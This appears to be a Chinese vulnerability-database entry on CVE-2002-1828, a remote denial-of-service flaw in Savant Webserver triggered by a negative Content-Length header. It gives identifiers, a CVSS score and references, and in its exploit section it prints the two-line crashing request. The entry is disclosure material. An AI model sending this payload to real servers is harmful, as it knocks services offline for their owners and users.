Savant Webserver畸形Content-Length远程拒绝服务漏洞

Savant Webserver畸形Content-Length远程拒绝服务漏洞

漏洞ID 1106969 漏洞类型 其他
发布时间 2002-09-13 更新时间 2005-10-20
图片[1]-Savant Webserver畸形Content-Length远程拒绝服务漏洞-安全小百科CVE编号 CVE-2002-1828
图片[2]-Savant Webserver畸形Content-Length远程拒绝服务漏洞-安全小百科CNNVD-ID CNNVD-200212-403
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/21792
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-403
|漏洞详情
SavantWebserver是一款运行在Win32下的开放源代码WEB服务程序。SavantWebserver没有很好的处理Content-Length值,远程攻击者可以利用这个漏洞进行拒绝服务攻击。由于对Content-Length值缺少正确的检查,远程攻击者可以提供包含负值的Content-Length值发送给SavantWeb服务程序,可导致服务器程序崩溃,产生拒绝服务攻击。
|漏洞EXP
source: http://www.securityfocus.com/bid/5707/info

Savant Webserver is prone to a denial of service attack, when processing a negative integer located in a users Content-Length value.

It should be noted that versions below 3.1 may also be vulnerable to this issue. 

GET / HTTP/1.0
Content-Length: -1
|参考资料

来源:BID
名称:5707
链接:http://www.securityfocus.com/bid/5707
来源:XF
名称:savant-neg-content-dos(10103)
链接:http://www.iss.net/security_center/static/10103.php
来源:NSFOCUS
名称:3529
链接:http://www.nsfocus.net/vulndb/3529

相关推荐: Netscape / Mozilla Malformed Email POP3 Denial Of Service Vulnerability

Netscape / Mozilla Malformed Email POP3 Denial Of Service Vulnerability 漏洞ID 1101926 漏洞类型 Failure to Handle Exceptional Conditions…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享